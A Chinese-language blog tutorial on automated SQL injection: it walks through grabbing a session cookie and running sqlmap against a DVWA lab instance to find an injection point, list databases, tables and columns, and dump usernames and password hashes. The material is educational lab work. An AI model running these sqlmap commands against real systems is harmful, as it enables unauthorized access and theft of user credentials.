[MySQL] SQL注入——自动注入

ゝ一纸荒年。 2022-09-17 01:57 295阅读 0赞

这次和上次的文章[\[MySQL\] SQL注入——手工注入][MySQL_ SQL]一样用到的是DVWA平台和KALI Linux系统

**1、首先登陆到DVWA**  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16]  
**2、获取PHPSESSID值**  
这里获取cookie值由两种方法  
**第一种是控制台获取**

document.cookie

![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 1]  
**第二种就是**  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 2]

3、在user ID输入1  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 3]  
注意：这个网址是有变化的  
将这个网址幅值下来  
打开KALI Linux

--------------------

<table> 
 <tbody> 
  <tr> 
   <td>判断当前网页是否存在注入点，如需要登录，通过指定cookie携带PHPSESSION信息，实现预登录</td> 
  </tr> 
 </tbody> 
</table>

sqlmap -u "http://192.168.105.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=**************************" --batch

注意：PHPSESSID=\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*是自己获取的，这里隐藏  
![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 4]  
出现以上情况标识有注入点

<table> 
 <tbody> 
  <tr> 
   <td>通过自动注入，获取该网页的MySQL服务器中所有数据库名</td> 
  </tr> 
 </tbody> 
</table>

sqlmap -u "http://192.168.105.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=**************************" --batch --dbs

![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 5]

<table> 
 <tbody> 
  <tr> 
   <td>通过自动注入，获取该当前数据库所有数据表名</td> 
  </tr> 
 </tbody> 
</table>

sqlmap -u "http://192.168.105.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=**************************" --batch -D dvwa --tables

![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 6]  
获取到了“dvwa”数据库中两个表的表名

<table> 
 <tbody> 
  <tr> 
   <td>通过自动注入，获取users表中所有字段名</td> 
  </tr> 
 </tbody> 
</table>

sqlmap -u "http://192.168.105.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=**************************" --batch -D dvwa -T users --columns

![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 7]

<table> 
 <tbody> 
  <tr> 
   <td>通过自动注入，获取users表中first_name，last_name，user，password指定字段所有数据内容</td> 
  </tr> 
 </tbody> 
</table>

sqlmap -u " http://192.168.105.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# " --cookie=" security=low; PHPSESSID=************************** " --batch -D dvwa -T users -C first_name,last_name,user,password --dump

![在这里插入图片描述][watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 8]

[MySQL_ SQL]: https://blog.csdn.net/ZXW_NUDT/article/details/120753267
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16]: /images/20220828/32069d46b09c4d06a0a026d3944e53a0.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 1]: /images/20220828/a38c1653a4df4880991faddb63a10093.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 2]: /images/20220828/be40886095d140d5bb04129a075f8539.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 3]: /images/20220828/ca39216c657049b3bad7f8cc014e373a.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 4]: /images/20220828/3ca4defe65144ab092386da3cc5dad65.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 5]: /images/20220828/55397246f81245e59b0bd7f5a8872a0e.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 6]: /images/20220828/d4e9f4d083044fdc9fd81ece07eb6583.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 7]: /images/20220828/118fb48c1a2841a6a98e3551057ef476.png
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAWlhXX05VRFQ_size_20_color_FFFFFF_t_70_g_se_x_16 8]: /images/20220828/dda1368bc2e44dd2b9d3ff6210d4dcad.png